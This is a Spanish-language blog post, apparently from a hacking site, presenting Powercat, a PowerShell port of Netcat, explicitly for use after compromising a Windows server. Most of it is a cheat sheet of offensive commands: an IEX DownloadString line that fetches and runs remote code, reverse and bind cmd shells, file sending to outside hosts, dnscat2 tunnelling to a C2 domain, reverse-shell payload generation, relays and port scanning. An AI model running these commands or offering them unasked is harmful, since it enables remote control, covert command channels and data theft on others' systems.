Powercat: la versión de Netcat en Powershell

Qué os voy a decir a estas alturas de Netcat, la navaja suiza favorita para hacer mil cosas, sobretodo abrir puertos... y puertas traseras por supuesto.  

Hobbit la liberó en 1996 funcionando para Unix y después de casi 20 años se sigue utilizando. Ha sido portada a Windows y Mac OS X y se han creado numerosos forks que añaden incluso nuevas características como GNU Netcat o Cryptcat

Por eso se echaba en falta su equivalente en Powershell y aquí tenemos a Powercat gracias a besimorhino.

Así que si has conseguido comprometer un servidor Windows y quieres probar un nuevo "sabor" sólo carga la función desde la URL:

C:\Users\usuario>powershell
Windows PowerShell
Copyright (C) 2009 Microsoft Corporation. Reservados todos los derechos.

PS C:\Users\usuario> IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1')


Conexiones básicas
- Cliente básico:
    powercat -c 10.1.1.1 -p 443
- Listener básico:
    powercat -l -p 8000
- Cliente básico, salida en bytes:
    powercat -c 10.1.1.1 -p 443 -o Bytes
   
Transferencia de archivos   
- Envía un fichero:
    powercat -c 10.1.1.1 -p 443 -i C:\inputfile
- Recibe un fichero:
    powercat -l -p 8000 -of C:\inputfile
   
Shells
- Sirve un Shell cmd:
    powercat -l -p 443 -e cmd
- Envía un Shell cmd:
    powercat -c 10.1.1.1 -p 443 -e cmd
- Sirve un Shell que ejecuta comandos powershell:
    powercat -l -p 443 -ep

DNS y UDP
- Envía datos sobre UDP:
    powercat -c 10.1.1.1 -p 8000 -u
    powercat -l -p 8000 -u

- Conecta a un servidor dnscat2 (c2.example.com) usando el servidor DNS en 10.1.1.1:
    powercat -c 10.1.1.1 -p 53 -dns c2.example.com
- Envía un shell al servidor dnscat2 (c2.example.com) usando el servidor DNS por defecto en Windows:
    powercat -dns c2.example.com -e cmd

Reenviadores
- TCP Listener a un reenviador cliente TCP:
    powercat -l -p 8000 -r tcp:10.1.1.16:443
- TCP Listener a un reenviador cliente UDP:
    powercat -l -p 8000 -r udp:10.1.1.16:53
- TCP Listener a un reenviador cliente DNS:
    powercat -l -p 8000 -r dns:10.1.1.1:53:c2.example.com
- TCP Listener a un reenviador cliente DNS usando el servidor DNS por defecto en Windows:
    powercat -l -p 8000 -r dns:::c2.example.com
- Cliente TCP a reenviador cliente:
    powercat -c 10.1.1.1 -p 9000 -r tcp:10.1.1.16:443
- TCP Listener a un reenviador Listener:
    powercat -l -p 8000 -r tcp:9000

Payloads
- Genera un payload tcp inverso que conecta a la IP 10.1.1.15 puerto 443:
    powercat -c 10.1.1.15 -p 443 -e cmd -g
- Genera un payload tcp directo que escucha en el puerto 8000:
    powercat -l -p 8000 -e cmd -ge

Miscelánea
- Escáner de puertos TCP básico:
    (21,22,80,443) | % {powercat -c 10.1.1.10 -p $_ -t 1 -Verbose -d}
- Arranca un servidor persistente que sirve un fichero:
    powercat -l -p 443 -i C:\inputfile -rep


Fuente: https://github.com/besimorhino/powercat

Comentarios